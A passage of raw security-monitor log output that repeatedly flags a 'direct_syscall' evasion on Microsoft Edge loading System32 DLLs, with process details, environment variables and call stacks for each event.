(x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffcdda89a62 C:\Windows\System32\SHCore.dll!SHEnumKeyExW|0x7ffcddaa4913 C:\Windows\System32\SHCore.dll!UnregisterScaleChangeEvent|0x7ffcdda839d2 C:\Windows\System32\SHCore.dll!IsOS|0x7ffcdda8346a C:\Windows\System32\SHCore.dll!IsOS|0x7ffc8ec9152a C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ec91499 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8f98f799 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8f0ceacd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8cf71d03 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf71bcb C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf71a3d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf714bb C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8eda4610 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ce6034e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce5bdd3 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce5b490 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8cec08bd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:20+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4175368 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.7568609 +0100 CET + Params: base_address➜ 7ffcda260000, checksum➜ 80696, default_address➜ 7ffcda260000, file_path➜ C:\Windows\System32\netutils.dll, image_size➜ 53248, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffcdda89a62 C:\Windows\System32\SHCore.dll!SHEnumKeyExW|0x7ffcddaa499e C:\Windows\System32\SHCore.dll!UnregisterScaleChangeEvent|0x7ffcdda83a0d C:\Windows\System32\SHCore.dll!IsOS|0x7ffcdda8346a C:\Windows\System32\SHCore.dll!IsOS|0x7ffc8ec9152a C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ec91499 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8f98f799 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8f0ceacd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8cf71d03 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf71bcb C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf71a3d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf714bb C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8eda4610 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ce6034e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce5bdd3 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce5b490 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8cec08bd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:20+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4175413 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.7582503 +0100 CET + Params: base_address➜ 7ffcbae10000, checksum➜ 557723, default_address➜ 7ffcbae10000, file_path➜ C:\Windows\System32\mdmregistration.dll, image_size➜ 557056, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffc8e0b6e9e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e0b6c73 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ce00170 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ec91594 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ec914c8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8f98f7b9 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8f0ceacd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8cf71d03 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf71bcb C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf71a3d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf714bb C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8eda4610 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ce6034e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce5bdd3 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce5b490 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8cec08bd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:20+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4175460 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.7596147 +0100 CET + Params: base_address➜ 7ffcb59b0000, checksum➜ 276898, default_address➜ 7ffcb59b0000, file_path➜ C:\Windows\System32\omadmapi.dll, image_size➜ 237568, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 